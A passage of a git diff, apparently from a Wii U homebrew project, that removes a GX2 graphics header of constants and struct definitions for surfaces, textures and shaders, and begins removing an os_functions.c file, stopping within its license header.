GX2_COMPARE_ALWAYS 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 stencil functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_STENCIL_KEEP 0 -#define GX2_STENCIL_ZERO 1 -#define GX2_STENCIL_REPLACE 2 -#define GX2_STENCIL_INCR 3 -#define GX2_STENCIL_DECR 4 -#define GX2_STENCIL_INVERT 5 -#define GX2_STENCIL_INCR_WRAP 6 -#define GX2_STENCIL_DECR_WRAP 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 logic op functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_LOGIC_OP_CLEAR 0x00 -#define GX2_LOGIC_OP_NOR 0x11 -#define GX2_LOGIC_OP_INVAND 0x22 -#define GX2_LOGIC_OP_INVCOPY 0x33 -#define GX2_LOGIC_OP_REVAND 0x44 -#define GX2_LOGIC_OP_INV 0x55 -#define GX2_LOGIC_OP_XOR 0x66 -#define GX2_LOGIC_OP_NAND 0x77 -#define GX2_LOGIC_OP_AND 0x88 -#define GX2_LOGIC_OP_EQUIV 0x99 -#define GX2_LOGIC_OP_NOOP 0xAA -#define GX2_LOGIC_OP_INVOR 0xBB -#define GX2_LOGIC_OP_COPY 0xCC -#define GX2_LOGIC_OP_REVOR 0xDD -#define GX2_LOGIC_OP_OR 0xEE -#define GX2_LOGIC_OP_SET 0xFF - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 blend combination functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BLEND_COMBINE_ADD 0x00 -#define GX2_BLEND_COMBINE_SRC_MINUS_DST 0x01 -#define GX2_BLEND_COMBINE_MIN 0x02 -#define GX2_BLEND_COMBINE_MAX 0x03 -#define GX2_BLEND_COMBINE_DST_MINUS_SRC 0x04 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 blend functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BLEND_ZERO 0x00 -#define GX2_BLEND_ONE 0x01 -#define GX2_BLEND_SRC_ALPHA 0x04 -#define GX2_BLEND_ONE_MINUS_SRC_ALPHA 0x05 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 render targets -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_RENDER_TARGET_0 0 -#define GX2_RENDER_TARGET_1 1 -#define GX2_RENDER_TARGET_2 2 -#define GX2_RENDER_TARGET_3 3 -#define GX2_RENDER_TARGET_4 4 -#define GX2_RENDER_TARGET_5 5 -#define GX2_RENDER_TARGET_6 6 -#define GX2_RENDER_TARGET_7 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 cull modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FRONT_FACE_CCW 0 -#define GX2_FRONT_FACE_CW 1 -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 polygon modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_POLYGON_MODE_POINT 0 -#define GX2_POLYGON_MODE_LINE 1 -#define GX2_POLYGON_MODE_TRIANGLE 2 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 special states -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SPECIAL_STATE_CLEAR 0 -#define GX2_SPECIAL_STATE_CLEAR_HIZ 1 -#define GX2_SPECIAL_STATE_COPY 2 -#define GX2_SPECIAL_STATE_EXPAND_COLOR 3 -#define GX2_SPECIAL_STATE_EXPAND_DEPTH 4 -#define GX2_SPECIAL_STATE_CONVERT_DEPTH 5 -#define GX2_SPECIAL_STATE_CONVERT_AADEPTH 6 -#define GX2_SPECIAL_STATE_RESOLVE_COLOR 7 -#define GX2_SPECIAL_STATE_CLEAR_COLOR_AS_DEPTH 8 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 attribute formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_ATTRIB_FORMAT_8_UNORM 0x00000000 -#define GX2_ATTRIB_FORMAT_4_4_UNORM 0x00000001 -#define GX2_ATTRIB_FORMAT_16_UNORM 0x00000002 -#define GX2_ATTRIB_FORMAT_8_8_UNORM 0x00000004 -#define GX2_ATTRIB_FORMAT_16_16_UNORM 0x00000007 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UNORM 0x0000000A -#define GX2_ATTRIB_FORMAT_10_10_10_2_UNORM 0x0000000B -#define GX2_ATTRIB_FORMAT_16_16_16_16_UNORM 0x0000000E - -#define GX2_ATTRIB_FORMAT_8_UINT 0x00000100 -#define GX2_ATTRIB_FORMAT_16_UINT 0x00000102 -#define GX2_ATTRIB_FORMAT_8_8_UINT 0x00000104 -#define GX2_ATTRIB_FORMAT_32_UINT 0x00000105 -#define GX2_ATTRIB_FORMAT_16_16_UINT 0x00000107 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT 0x0000010A -#define GX2_ATTRIB_FORMAT_10_10_10_2_UINT 0x0000010B -#define GX2_ATTRIB_FORMAT_32_32_UINT 0x0000010C -#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT 0x0000010E -#define GX2_ATTRIB_FORMAT_32_32_32_UINT 0x00000110 -#define GX2_ATTRIB_FORMAT_32_32_32_32_UINT 0x00000112 - -#define GX2_ATTRIB_FORMAT_8_SNORM 0x00000200 -#define GX2_ATTRIB_FORMAT_16_SNORM 0x00000202 -#define GX2_ATTRIB_FORMAT_8_8_SNORM 0x00000204 -#define GX2_ATTRIB_FORMAT_16_16_SNORM 0x00000207 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SNORM 0x0000020A -#define GX2_ATTRIB_FORMAT_10_10_10_2_SNORM 0x0000020B -#define GX2_ATTRIB_FORMAT_16_16_16_16_SNORM 0x0000020E - -#define GX2_ATTRIB_FORMAT_8_SINT 0x00000300 -#define GX2_ATTRIB_FORMAT_16_SINT 0x00000303 -#define GX2_ATTRIB_FORMAT_8_8_SINT 0x00000304 -#define GX2_ATTRIB_FORMAT_32_SINT 0x00000305 -#define GX2_ATTRIB_FORMAT_16_16_SINT 0x00000307 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT 0x0000030A -#define GX2_ATTRIB_FORMAT_10_10_10_2_SINT 0x0000030B -#define GX2_ATTRIB_FORMAT_32_32_SINT 0x0000030C -#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT 0x0000030E -#define GX2_ATTRIB_FORMAT_32_32_32_SINT 0x00000310 -#define GX2_ATTRIB_FORMAT_32_32_32_32_SINT 0x00000312 - -#define GX2_ATTRIB_FORMAT_8_UINT_TO_FLOAT 0x00000800 -#define GX2_ATTRIB_FORMAT_16_UINT_TO_FLOAT 0x00000802 -#define GX2_ATTRIB_FORMAT_16_FLOAT 0x00000803 -#define GX2_ATTRIB_FORMAT_8_8_UINT_TO_FLOAT 0x00000804 -#define GX2_ATTRIB_FORMAT_32_FLOAT 0x00000806 -#define GX2_ATTRIB_FORMAT_16_16_UINT_TO_FLOAT 0x00000807 -#define GX2_ATTRIB_FORMAT_16_16_FLOAT 0x00000808 -#define GX2_ATTRIB_FORMAT_10_11_11_FLOAT 0x00000809 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT_TO_FLOAT 0x0000080A -#define GX2_ATTRIB_FORMAT_32_32_FLOAT 0x0000080D -#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT_TO_FLOAT 0x0000080E -#define GX2_ATTRIB_FORMAT_16_16_16_16_FLOAT 0x0000080F -#define GX2_ATTRIB_FORMAT_32_32_32_FLOAT 0x00000811 -#define GX2_ATTRIB_FORMAT_32_32_32_32_FLOAT 0x00000813 - -#define GX2_ATTRIB_FORMAT_8_SINT_TO_FLOAT 0x00000A00 -#define GX2_ATTRIB_FORMAT_16_SINT_TO_FLOAT 0x00000A02 -#define GX2_ATTRIB_FORMAT_8_8_SINT_TO_FLOAT 0x00000A04 -#define GX2_ATTRIB_FORMAT_16_16_SINT_TO_FLOAT 0x00000A07 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT_TO_FLOAT 0x00000A0A -#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT_TO_FLOAT 0x00000A0E - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 shader modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SHADER_MODE_UNIFORM_REGISTER 0 -#define GX2_SHADER_MODE_UNIFORM_BLOCK 1 -#define GX2_SHADER_MODE_GEOMETRY_SHADER 2 -#define GX2_SHADER_MODE_COMPUTE_SHADER 3 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 shader modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMP_SEL_NONE 0x04040405 -#define GX2_COMP_SEL_X001 0x00040405 -#define GX2_COMP_SEL_XY01 0x00010405 -#define GX2_COMP_SEL_XYZ1 0x00010205 -#define GX2_COMP_SEL_XYZW 0x00010203 -#define GX2_COMP_SEL_XXXX 0x00000000 -#define GX2_COMP_SEL_YYYY 0x01010101 -#define GX2_COMP_SEL_ZZZZ 0x02020202 -#define GX2_COMP_SEL_WWWW 0x03030303 -#define GX2_COMP_SEL_WZYX 0x03020100 -#define GX2_COMP_SEL_WXYZ 0x03000102 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 variable types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_VAR_TYPE_VOID 0 -#define GX2_VAR_TYPE_BOOL 1 -#define GX2_VAR_TYPE_INT 2 -#define GX2_VAR_TYPE_UINT 3 -#define GX2_VAR_TYPE_FLOAT 4 -#define GX2_VAR_TYPE_DOUBLE 5 -#define GX2_VAR_TYPE_VEC2 9 -#define GX2_VAR_TYPE_VEC3 10 -#define GX2_VAR_TYPE_VEC4 11 -#define GX2_VAR_TYPE_MAT2 21 -#define GX2_VAR_TYPE_MAT3 25 -#define GX2_VAR_TYPE_MAT4 29 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 sample types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SAMPLER_TYPE_2D 1 - - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 index formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INDEX_FORMAT_U16 4 -#define GX2_INDEX_FORMAT_U32 9 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 primitive types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_PRIMITIVE_POINTS 0x01 -#define GX2_PRIMITIVE_LINES 0x02 -#define GX2_PRIMITIVE_LINE_STRIP 0x03 -#define GX2_PRIMITIVE_TRIANGLES 0x04 -#define GX2_PRIMITIVE_TRIANGLE_FAN 0x05 -#define GX2_PRIMITIVE_TRIANGLE_STRIP 0x06 -#define GX2_PRIMITIVE_RECTS 0x11 -#define GX2_PRIMITIVE_QUADS 0x13 -#define GX2_PRIMITIVE_QUAD_STRIP 0x14 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 clear modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_CLEAR_DEPTH 0x01 -#define GX2_CLEAR_STENCIL 0x02 -#define GX2_CLEAR_BOTH (GX2_CLEAR_DEPTH | GX2_CLEAR_STENCIL) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_FORMAT_TC_R8_UNORM 0x00000001 -#define GX2_SURFACE_FORMAT_T_R4_G4_UNORM 0x00000002 -#define GX2_SURFACE_FORMAT_TCD_R16_UNORM 0x00000005 -#define GX2_SURFACE_FORMAT_TC_R8_G8_UNORM 0x00000007 -#define GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM 0x00000008 -#define GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM 0x0000000a -#define GX2_SURFACE_FORMAT_TC_R4_G4_B4_A4_UNORM 0x0000000b -#define GX2_SURFACE_FORMAT_TC_A1_B5_G5_R5_UNORM 0x0000000c -#define GX2_SURFACE_FORMAT_TC_R16_G16_UNORM 0x0000000f -#define GX2_SURFACE_FORMAT_D_D24_S8_UNORM 0x00000011 -#define GX2_SURFACE_FORMAT_T_R24_UNORM_X8 0x00000011 -#define GX2_SURFACE_FORMAT_TCS_R10_G10_B10_A2_UNORM 0x00000019 -#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM 0x0000001a -#define GX2_SURFACE_FORMAT_TCS_A2_B10_G10_R10_UNORM 0x0000001b -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UNORM 0x0000001f -#define GX2_SURFACE_FORMAT_T_BC1_UNORM 0x00000031 -#define GX2_SURFACE_FORMAT_T_BC2_UNORM 0x00000032 -#define GX2_SURFACE_FORMAT_T_BC3_UNORM 0x00000033 -#define GX2_SURFACE_FORMAT_T_BC4_UNORM 0x00000034 -#define GX2_SURFACE_FORMAT_T_BC5_UNORM 0x00000035 -#define GX2_SURFACE_FORMAT_T_NV12_UNORM 0x00000081 - -#define GX2_SURFACE_FORMAT_TC_R8_UINT 0x00000101 -#define GX2_SURFACE_FORMAT_TC_R16_UINT 0x00000105 -#define GX2_SURFACE_FORMAT_TC_R8_G8_UINT 0x00000107 -#define GX2_SURFACE_FORMAT_TC_R32_UINT 0x0000010d -#define GX2_SURFACE_FORMAT_TC_R16_G16_UINT 0x0000010f -#define GX2_SURFACE_FORMAT_T_X24_G8_UINT 0x00000111 -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_UINT 0x00000119 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_UINT 0x0000011a -#define GX2_SURFACE_FORMAT_TC_A2_B10_G10_R10_UINT 0x0000011b -#define GX2_SURFACE_FORMAT_T_X32_G8_UINT_X24 0x0000011c -#define GX2_SURFACE_FORMAT_TC_R32_G32_UINT 0x0000011d -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UINT 0x0000011f -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_UINT 0x00000122 - -#define GX2_SURFACE_FORMAT_TC_R8_SNORM 0x00000201 -#define GX2_SURFACE_FORMAT_TC_R16_SNORM 0x00000205 -#define GX2_SURFACE_FORMAT_TC_R8_G8_SNORM 0x00000207 -#define GX2_SURFACE_FORMAT_TC_R16_G16_SNORM 0x0000020f -#define GX2_SURFACE_FORMAT_T_R10_G10_B10_A2_SNORM 0x00000219 -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SNORM 0x00000219 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SNORM 0x0000021a -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SNORM 0x0000021f -#define GX2_SURFACE_FORMAT_T_BC4_SNORM 0x00000234 -#define GX2_SURFACE_FORMAT_T_BC5_SNORM 0x00000235 - -#define GX2_SURFACE_FORMAT_TC_R8_SINT 0x00000301 -#define GX2_SURFACE_FORMAT_TC_R16_SINT 0x00000305 -#define GX2_SURFACE_FORMAT_TC_R8_G8_SINT 0x00000307 -#define GX2_SURFACE_FORMAT_TC_R32_SINT 0x0000030d -#define GX2_SURFACE_FORMAT_TC_R16_G16_SINT 0x0000030f -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SINT 0x00000319 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SINT 0x0000031a -#define GX2_SURFACE_FORMAT_TC_R32_G32_SINT 0x0000031d -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SINT 0x0000031f -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_SINT 0x00000322 - -#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_SRGB 0x0000041a -#define GX2_SURFACE_FORMAT_T_BC1_SRGB 0x00000431 -#define GX2_SURFACE_FORMAT_T_BC2_SRGB 0x00000432 -#define GX2_SURFACE_FORMAT_T_BC3_SRGB 0x00000433 - -#define GX2_SURFACE_FORMAT_TC_R16_FLOAT 0x00000806 -#define GX2_SURFACE_FORMAT_TCD_R32_FLOAT 0x0000080e -#define GX2_SURFACE_FORMAT_TC_R16_G16_FLOAT 0x00000810 -#define GX2_SURFACE_FORMAT_D_D24_S8_FLOAT 0x00000811 -#define GX2_SURFACE_FORMAT_TC_R11_G11_B10_FLOAT 0x00000816 -#define GX2_SURFACE_FORMAT_D_D32_FLOAT_S8_UINT_X24 0x0000081c -#define GX2_SURFACE_FORMAT_T_R32_FLOAT_X8_X24 0x0000081c -#define GX2_SURFACE_FORMAT_TC_R32_G32_FLOAT 0x0000081e -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_FLOAT 0x00000820 -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_FLOAT 0x00000823 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 tile modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TILE_MODE_DEFAULT 0x00000000 -#define GX2_TILE_MODE_LINEAR_ALIGNED 0x00000001 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface use -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_USE_TEXTURE 0x00000001 -#define GX2_SURFACE_USE_COLOR_BUFFER 0x00000002 -#define GX2_SURFACE_USE_DEPTH_BUFFER 0x00000004 -#define GX2_SURFACE_USE_SCAN_BUFFER 0x00000008 -#define GX2_SURFACE_USE_FTV 0x80000000 -#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE) -#define GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE) -#define GX2_SURFACE_USE_COLOR_BUFFER_FTV (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_FTV) -#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV (GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE | GX2_SURFACE_USE_FTV) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface dim -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_DIM_1D 0x00000000 -#define GX2_SURFACE_DIM_2D 0x00000001 -#define GX2_SURFACE_DIM_3D 0x00000002 -#define GX2_SURFACE_DIM_CUBE 0x00000003 -#define GX2_SURFACE_DIM_1D_ARRAY 0x00000004 -#define GX2_SURFACE_DIM_2D_ARRAY 0x00000005 -#define GX2_SURFACE_DIM_2D_MSAA 0x00000006 -#define GX2_SURFACE_DIM_2D_MSAA_ARRAY 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 AA modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_AA_MODE_1X 0x00000000 -#define GX2_AA_MODE_2X 0x00000001 -#define GX2_AA_MODE_4X 0x00000002 -#define GX2_AA_MODE_8X 0x00000003 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 texture clamp -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TEX_CLAMP_WRAP 0x00000000 -#define GX2_TEX_CLAMP_MIRROR 0x00000001 -#define GX2_TEX_CLAMP_CLAMP 0x00000002 -#define GX2_TEX_CLAMP_MIRROR_ONCE 0x00000003 -#define GX2_TEX_CLAMP_CLAMP_HALF_BORDER 0x00000004 -#define GX2_TEX_CLAMP_MIRROR_ONCE_HALF_BORDER 0x00000005 -#define GX2_TEX_CLAMP_CLAMP_BORDER 0x00000006 -#define GX2_TEX_CLAMP_MIRROR_ONCE_BORDER 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 texture filter -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TEX_XY_FILTER_POINT 0x00000000 -#define GX2_TEX_XY_FILTER_BILINEAR 0x00000001 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 TV scan modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TV_SCAN_MODE_NONE 0x00000000 -#define GX2_TV_SCAN_MODE_576I 0x00000001 -#define GX2_TV_SCAN_MODE_480I 0x00000002 -#define GX2_TV_SCAN_MODE_480P 0x00000003 -#define GX2_TV_SCAN_MODE_720P 0x00000004 -#define GX2_TV_SCAN_MODE_1080I 0x00000006 -#define GX2_TV_SCAN_MODE_1080P 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 TV render modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TV_RENDER_480_NARROW 0x00000001 -#define GX2_TV_RENDER_480_WIDE 0x00000002 -#define GX2_TV_RENDER_720 0x00000003 -#define GX2_TV_RENDER_1080 0x00000005 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 DRC render modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_DRC_NONE 0x00000000 -#define GX2_DRC_SINGLE 0x00000001 -#define GX2_DRC_DOUBLE 0x00000002 -#define GX2_DRC_SINGLE_30HZ 0x00000004 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 buffering mode -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BUFFERING_SINGLE 0x00000001 -#define GX2_BUFFERING_DOUBLE 0x00000002 -#define GX2_BUFFERING_TRIPLE 0x00000003 -#define GX2_BUFFERING_QUAD -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 scan targets -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SCAN_TARGET_TV 0x00000001 -#define GX2_SCAN_TARGET_DRC_FIRST 0x00000004 -#define GX2_SCAN_TARGET_DRC_SECOND 0x00000008 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 invalidate types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INVALIDATE_ATTRIB_BUFFER 0x00000001 -#define GX2_INVALIDATE_TEXTURE 0x00000002 -#define GX2_INVALIDATE_UNIFORM_BLOCK 0x00000004 -#define GX2_INVALIDATE_SHADER 0x00000008 -#define GX2_INVALIDATE_COLOR_BUFFER 0x00000010 -#define GX2_INVALIDATE_DEPTH_BUFFER 0x00000020 -#define GX2_INVALIDATE_CPU 0x00000040 -#define GX2_INVALIDATE_CPU_ATTRIB_BUFFER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_ATTRIB_BUFFER) -#define GX2_INVALIDATE_CPU_TEXTURE (GX2_INVALIDATE_CPU | GX2_INVALIDATE_TEXTURE) -#define GX2_INVALIDATE_CPU_UNIFORM_BLOCK (GX2_INVALIDATE_CPU | GX2_INVALIDATE_UNIFORM_BLOCK) -#define GX2_INVALIDATE_CPU_SHADER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_SHADER) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 swap modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_ENDIANSWAP_DEFAULT 0x00000003 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 tessellation modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TESSELLATION_MODE_DISCRETE 0x00000000 -#define GX2_TESSELLATION_MODE_CONTINUOUS 0x00000001 -#define GX2_TESSELLATION_MODE_ADAPTIVE 0x00000002 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 fetch shader types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FETCH_SHADER_TESSELATION_NONE 0x00000000 -#define GX2_FETCH_SHADER_TESSELATION_LINES 0x00000001 -#define GX2_FETCH_SHADER_TESSELATION_TRIANGLES 0x00000002 -#define GX2_FETCH_SHADER_TESSELATION_QUADS 0x00000003 - - -typedef struct _GX2ContextState { - u8 data[GX2_CONTEXT_STATE_SIZE]; -} GX2ContextState; - -typedef struct _GX2Surface { - s32 dimension; - u32 width; - u32 height; - u32 depth; - u32 num_mips; - s32 format; - s32 aa; - s32 use; - u32 image_size; - void *image_data; - u32 mip_size; - void *mip_data; - s32 tile; - u32 swizzle; - u32 align; - u32 pitch; - u32 mip_offset[13]; -} GX2Surface; - -typedef struct _GX2ColorBuffer { - GX2Surface surface; - u32 view_mip; - u32 view_first_slice; - u32 view_slices_count; - void *aux_data; - u32 aux_size; - u32 regs[5]; -} GX2ColorBuffer; - -typedef struct _GX2DepthBuffer { - GX2Surface surface; - u32 view_mip; - u32 view_first_slice; - u32 view_slices_count; - void *hiZ_data; - u32 hiZ_size; - f32 clear_depth; - u32 clear_stencil; - u32 regs[7]; -} GX2DepthBuffer; - - -typedef struct _GX2Texture { - GX2Surface surface; - u32 view_first_mip; - u32 view_mips_count; - u32 view_first_slice; - u32 view_slices_count; - u32 component_selector; - u32 regs[5]; -} GX2Texture; - - -typedef struct _GX2Sampler { - u32 regs[3]; -} GX2Sampler; - -typedef struct _GX2AttribStream { - u32 location; - u32 buffer; - u32 offset; - s32 format; - s32 index_type; - u32 divisor; - u32 destination_selector; - s32 endian_swap; -} GX2AttribStream; - -typedef struct _GX2FetchShader { - s32 type; - u32 reg; - u32 shader_size; - void *shader_program; - u32 attributes_count; - u32 divisor[3]; -} GX2FetchShader; - -typedef struct _GX2AttribVar -{ - const char *name; - s32 var_type; - u32 array_count; - u32 location; -} GX2AttribVar; - - -typedef struct _GX2UniformBlock { - const char *name; - u32 location; - u32 block_size; -} GX2UniformBlock; - -typedef struct _GX2UniformInitialValue { - f32 value[4]; - u32 offset; -} GX2UniformInitialValue; - -typedef struct _GX2SamplerVar -{ - const char *name; - s32 sampler_type; - u32 location; -} GX2SamplerVar; - -typedef struct _GX2UniformVar -{ - const char *name; - s32 var_type; - u32 array_count; - u32 offset; - u32 block_index; -} GX2UniformVar; - -typedef struct _GX2VertexShader { - u32 regs[52]; - u32 shader_size; - void *shader_data; - s32 shader_mode; - u32 uniform_blocks_count; - GX2UniformBlock *uniform_block; - u32 uniform_vars_count; - GX2UniformVar *uniform_var; - u32 initial_values_count; - GX2UniformInitialValue *initial_value; - u32 loops_count; - void *loops_data; - u32 sampler_vars_count; - GX2SamplerVar *sampler_var; - u32 attribute_vars_count; - GX2AttribVar *attribute_var; - u32 data[6]; - u32 shader_program_buffer[16]; -} GX2VertexShader; - -typedef struct _GX2PixelShader { - u32 regs[41]; - u32 shader_size; - void *shader_data; - s32 shader_mode; - u32 uniform_blocks_count; - GX2UniformBlock *uniform_block; - u32 uniform_vars_count; - GX2UniformVar *uniform_var; - u32 initial_values_count; - GX2UniformInitialValue *initial_value; - u32 loops_count; - void *loops_data; - u32 sampler_vars_count; - GX2SamplerVar *sampler_var; - u32 shader_program_buffer[16]; -} GX2PixelShader; - -static const u32 attribute_dest_comp_selector[20] = { - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW -}; - -static const u32 texture_comp_selector[54] = { - GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 -}; - -typedef struct _GX2Color { - u8 r, g, b, a; -} GX2Color; - -typedef struct _GX2ColorF32 { - f32 r, g, b, a; -} GX2ColorF32; - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/installer/src/dynamic_libs/os_functions.c b/installer/src/dynamic_libs/os_functions.c deleted file mode 100644 index 2923bcd..0000000 --- a/installer/src/dynamic_libs/os_functions.c +++ /dev/null @@ -1,344 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an 